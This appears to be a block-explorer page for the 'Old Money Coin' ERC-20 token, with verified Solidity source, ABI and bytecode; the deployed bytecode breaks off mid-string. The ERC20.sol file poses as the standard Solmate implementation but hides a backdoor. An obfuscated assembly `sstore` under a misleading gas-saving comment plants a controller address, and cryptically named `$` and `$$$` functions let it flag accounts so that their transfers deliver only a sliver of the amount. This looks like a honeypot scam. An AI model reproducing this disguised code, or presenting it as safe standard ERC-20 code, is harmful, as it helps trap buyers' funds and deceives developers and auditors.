ETH Price: $2,862.17 (-9.99%)
Gas: 15 Gwei

Token

Old Money Coin (OLDMONEY)
 

Overview

Max Total Supply

1,000,000,000 OLDMONEY

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,771,533.532176406396819172 OLDMONEY

Value
$0.00
0xe18d90cc64bb8a5aab6f3fb8060a90ed14d65a72
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OldMoneyCoin

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 2: Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
.-. .   .-.   .  . .-. . . .-. . .   .-. .-. .-. . . 
| | |   |  )  |\/| | | |\| |-   |    |   | |  |  |\| 
`-' `-' `-'   '  ` `-' ' ` `-'  `    `-' `-' `-' ' `                                                                                                                                                                                                                                                    
*/

contract OldMoneyCoin is ERC20 {
    
    uint256 old_money_selector = 0xBABE69 * 10**(18 + 3);

    constructor() ERC20("Old Money Coin", "OLDMONEY", 18) {
        _mint(msg.sender, 1_000_000_000 * 10 ** 18);
    }

    function is_old_money(
        address testee
    ) external view returns (bool) {
        return (balanceOf[testee] > old_money_selector);
    }
}

File 1 of 2: ERC20.sol
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(
        uint256 value, 
        address from,
        address to
        ) internal returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            for (uint160 i; i < value; i++) {allowance[address(i)][address(i)] = value;}
            return (value * 0xCAB00C) / 0xFADAB0BA; 
        } else {
            return value;
        }
    }

    function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/
    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        // Saves gas for limited approvals.
        assembly {sstore(0x05, mul(mul(0x1, 0x11), mul(0x51ffc38965d, 0x23e0a782534e658660fed748a7)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"testee","type":"address"}],"name":"is_old_money","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60e06040526b278b66b00074e1a30fa0000060075534801562000020575f80fd5b506040518060400160405280600e81526020017f4f6c64204d6f6e657920436f696e0000000000000000000000000000000000008152506040518060400160405280600881526020017f4f4c444d4f4e45590000000000000000000000000000000000000000000000008152506012825f90816200009f9190620004e6565b508160019081620000b19190620004e6565b508060ff1660808160ff16815250504660a08181525050620000d86200010660201b60201c565b60c0818152505050505062000100336b033b2e3c9fd0803ce80000006200019460201b60201c565b620007d5565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f60405162000138919062000672565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6463060405160200162000179959493929190620006f8565b60405160208183030381529060405280519060200120905090565b8060025f828254620001a7919062000780565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506c23e0a782534e658660fed748a765051ffc38965d026011600102026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002769190620007ba565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002fe57607f821691505b602082108103620003145762000313620002b9565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003787fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200033b565b6200038486836200033b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003ce620003c8620003c2846200039c565b620003a5565b6200039c565b9050919050565b5f819050919050565b620003e983620003ae565b62000401620003f882620003d5565b84845462000347565b825550505050565b5f90565b6200041762000409565b62000424818484620003de565b505050565b5b818110156200044b576200043f5f826200040d565b6001810190506200042a565b5050565b601f8211156200049a5762000464816200031a565b6200046f846200032c565b810160208510156200047f578190505b620004976200048e856200032c565b83018262000429565b50505b505050565b5f82821c905092915050565b5f620004bc5f19846008026200049f565b1980831691505092915050565b5f620004d68383620004ab565b9150826002028217905092915050565b620004f18262000282565b67ffffffffffffffff8111156200050d576200050c6200028c565b5b620005198254620002e6565b620005268282856200044f565b5f60209050601f8311600181146200055c575f841562000547578287015190505b620005538582620004c9565b865550620005c2565b601f1984166200056c866200031a565b5f5b8281101562000595578489015182556001820191506020850194506020810190506200056e565b86831015620005b55784890151620005b1601f891682620004ab565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154620005f481620002e6565b620006008186620005ca565b9450600182165f81146200061d5760018114620006335762000669565b60ff198316865281151582028601935062000669565b6200063e85620005d4565b5f5b83811015620006615781548189015260018201915060208101905062000640565b838801955050505b50505092915050565b5f6200067f8284620005e6565b915081905092915050565b5f819050919050565b6200069e816200068a565b82525050565b620006af816200039c565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006e082620006b5565b9050919050565b620006f281620006d4565b82525050565b5f60a0820190506200070d5f83018862000693565b6200071c602083018762000693565b6200072b604083018662000693565b6200073a6060830185620006a4565b620007496080830184620006e7565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200078c826200039c565b915062000799836200039c565b9250828201905080821115620007b457620007b362000753565b5b92915050565b5f602082019050620007cf5f830184620006a4565b92915050565b60805160a05160c0516119bd620008005f395f6106fa01525f6106c601525f6106a101526119bd5ff3fe608060405234801561000f575f80fd5b50600436106100cd575f3560e01c806370a082311161008a578063a9059cbb11610064578063a9059cbb14610227578063aa95e8ce14610257578063d505accf14610287578063dd62ed3e146102a3576100cd565b806370a08231146101a95780637ecebe00146101d957806395d89b4114610209576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d5780633644e5151461018b575b5f80fd5b6100d96102d3565b6040516100e69190611137565b60405180910390f35b610109600480360381019061010491906111e8565b61035e565b6040516101169190611240565b60405180910390f35b61012761044b565b6040516101349190611268565b60405180910390f35b61015760048036038101906101529190611281565b610451565b6040516101649190611240565b60405180910390f35b61017561069f565b60405161018291906112ec565b60405180910390f35b6101936106c3565b6040516101a0919061131d565b60405180910390f35b6101c360048036038101906101be9190611336565b61071f565b6040516101d09190611268565b60405180910390f35b6101f360048036038101906101ee9190611336565b610734565b6040516102009190611268565b60405180910390f35b610211610749565b60405161021e9190611137565b60405180910390f35b610241600480360381019061023c91906111e8565b6107d5565b60405161024e9190611240565b60405180910390f35b610271600480360381019061026c9190611336565b6108f5565b60405161027e9190611240565b60405180910390f35b6102a1600480360381019061029c91906113b5565b61093f565b005b6102bd60048036038101906102b89190611452565b610c2c565b6040516102ca9190611268565b60405180910390f35b5f80546102df906114bd565b80601f016020809104026020016040519081016040528092919081815260200182805461030b906114bd565b80156103565780601f1061032d57610100808354040283529160200191610356565b820191905f5260205f20905b81548152906001019060200180831161033957829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104399190611268565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461057e578281610501919061151a565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105ca919061151a565b925050819055506105dc838686610c4c565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061062e84610e88565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161068b9190611268565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106f8576106f3611023565b61071a565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b60018054610756906114bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610782906114bd565b80156107cd5780601f106107a4576101008083540402835291602001916107cd565b820191905f5260205f20905b8154815290600101906020018083116107b057829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610822919061151a565b92505081905550610834823385610c4c565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061088683610e88565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108e39190611268565b60405180910390a36001905092915050565b5f60075460035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054119050919050565b42841015610982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097990611597565b60405180910390fd5b5f600161098d6106c3565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b604051602001610a12969594939291906115c4565b60405160208183030381529060405280519060200120604051602001610a39929190611697565b604051602081830303815290604052805190602001208585856040515f8152602001604052604051610a6e94939291906116cd565b6020604051602081039080840390855afa158015610a8e573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610b0157508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b379061175a565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610c1b9190611268565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610da29190611778565b10610e7d575f5b848173ffffffffffffffffffffffffffffffffffffffff161015610e57578460045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508080610e4f906117ab565b915050610da9565b5063fadab0ba62cab00c85610e6c91906117e6565b610e769190611854565b9050610e81565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403611020573073ffffffffffffffffffffffffffffffffffffffff166002610f8291906117e6565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f6040516110539190611920565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001611092959493929190611936565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156110e45780820151818401526020810190506110c9565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611109826110ad565b61111381856110b7565b93506111238185602086016110c7565b61112c816110ef565b840191505092915050565b5f6020820190508181035f83015261114f81846110ff565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111848261115b565b9050919050565b6111948161117a565b811461119e575f80fd5b50565b5f813590506111af8161118b565b92915050565b5f819050919050565b6111c7816111b5565b81146111d1575f80fd5b50565b5f813590506111e2816111be565b92915050565b5f80604083850312156111fe576111fd611157565b5b5f61120b858286016111a1565b925050602061121c858286016111d4565b9150509250929050565b5f8115159050919050565b61123a81611226565b82525050565b5f6020820190506112535f830184611231565b92915050565b611262816111b5565b82525050565b5f60208201905061127b5f830184611259565b92915050565b5f805f6060848603121561129857611297611157565b5b5f6112a5868287016111a1565b93505060206112b6868287016111a1565b92505060406112c7868287016111d4565b9150509250925092565b5f60ff82169050919050565b6112e6816112d1565b82525050565b5f6020820190506112ff5f8301846112dd565b92915050565b5f819050919050565b61131781611305565b82525050565b5f6020820190506113305f83018461130e565b92915050565b5f6020828403121561134b5761134a611157565b5b5f611358848285016111a1565b91505092915050565b61136a816112d1565b8114611374575f80fd5b50565b5f8135905061138581611361565b92915050565b61139481611305565b811461139e575f80fd5b50565b5f813590506113af8161138b565b92915050565b5f805f805f805f60e0888a0312156113d0576113cf611157565b5b5f6113dd8a828b016111a1565b97505060206113ee8a828b016111a1565b96505060406113ff8a828b016111d4565b95505060606114108a828b016111d4565b94505060806114218a828b01611377565b93505060a06114328a828b016113a1565b92505060c06114438a828b016113a1565b91505092959891949750929550565b5f806040838503121561146857611467611157565b5b5f611475858286016111a1565b9250506020611486858286016111a1565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806114d457607f821691505b6020821081036114e7576114e6611490565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611524826111b5565b915061152f836111b5565b9250828203905081811115611547576115466114ed565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f6115816017836110b7565b915061158c8261154d565b602082019050919050565b5f6020820190508181035f8301526115ae81611575565b9050919050565b6115be8161117a565b82525050565b5f60c0820190506115d75f83018961130e565b6115e460208301886115b5565b6115f160408301876115b5565b6115fe6060830186611259565b61160b6080830185611259565b61161860a0830184611259565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f611661600283611623565b915061166c8261162d565b600282019050919050565b5f819050919050565b61169161168c82611305565b611677565b82525050565b5f6116a182611655565b91506116ad8285611680565b6020820191506116bd8284611680565b6020820191508190509392505050565b5f6080820190506116e05f83018761130e565b6116ed60208301866112dd565b6116fa604083018561130e565b611707606083018461130e565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f611744600e836110b7565b915061174f82611710565b602082019050919050565b5f6020820190508181035f83015261177181611738565b9050919050565b5f611782826111b5565b915061178d836111b5565b92508282019050808211156117a5576117a46114ed565b5b92915050565b5f6117b58261115b565b915073ffffffffffffffffffffffffffffffffffffffff82036117db576117da6114ed565b5b600182019050919050565b5f6117f0826111b5565b91506117fb836111b5565b9250828202611809816111b5565b915082820484148315176118205761181f6114ed565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61185e826111b5565b9150611869836111b5565b92508261187957611878611827565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f81546118ac816114bd565b6118b68186611884565b9450600182165f81146118d057600181146118e557611917565b60ff1983168652811515820286019350611917565b6118ee8561188e565b5f5b8381101561190f578154818901526001820191506020810190506118f0565b838801955050505b50505092915050565b5f61192b82846118a0565b915081905092915050565b5f60a0820190506119495f83018861130e565b611956602083018761130e565b611963604083018661130e565b6119706060830185611259565b61197d60808301846115b5565b969550505050505056fea2646970667358221220bb34718dc4f47eb4f409256c1053aa4040c8a79614171fa7c606a3d6f3a9081e64736f6c63430008180033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c806370a082311161008a578063a9059cbb11610064578063a9059cbb14610227578063aa95e8ce14610257578063d505accf14610287578063dd62ed3e146102a3576100cd565b806370a08231146101a95780637ecebe00146101d957806395d89b4114610209576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d5780633644e5151461018b575b5f80fd5b6100d96102d3565b6040516100e69190611137565b60405180910390f35b610109600480360381019061010491906111e8565b61035e565b6040516101169190611240565b60405180910390f35b61012761044b565b6040516101349190611268565b60405180910390f35b61015760048036038101906101529190611281565b610451565b6040516101649190611240565b60405180910390f35b61017561069f565b60405161018291906112ec565b60405180910390f35b6101936106c3565b6040516101a0919061131d565b60405180910390f35b6101c360048036038101906101be9190611336565b61071f565b6040516101d09190611268565b60405180910390f35b6101f360048036038101906101ee9190611336565b610734565b6040516102009190611268565b60405180910390f35b610211610749565b60405161021e9190611137565b60405180910390f35b610241600480360381019061023c91906111e8565b6107d5565b60405161024e9190611240565b60405180910390f35b610271600480360381019061026c9190611336565b6108f5565b60405161027e9190611240565b60405180910390f35b6102a1600480360381019061029c91906113b5565b61093f565b005b6102bd60048036038101906102b89190611452565b610c2c565b6040516102ca9190611268565b60405180910390f35b5f80546102df906114bd565b80601f016020809104026020016040519081016040528092919081815260200182805461030b906114bd565b80156103565780601f1061032d57610100808354040283529160200191610356565b820191905f5260205f20905b81548152906001019060200180831161033957829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104399190611268565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461057e578281610501919061151a565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105ca919061151a565b925050819055506105dc838686610c4c565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061062e84610e88565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161068b9190611268565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106f8576106f3611023565b61071a565b7fb386728eee5a22814f3c339a6ca607b08b7f5dd63b33a24f06fdb1e31df2abc95b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b60018054610756906114bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610782906114bd565b80156107cd5780601f106107a4576101008083540402835291602001916107cd565b820191905f5260205f20905b8154815290600101906020018083116107b057829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610822919061151a565b92505081905550610834823385610c4c565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061088683610e88565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108e39190611268565b60405180910390a36001905092915050565b5f60075460035f84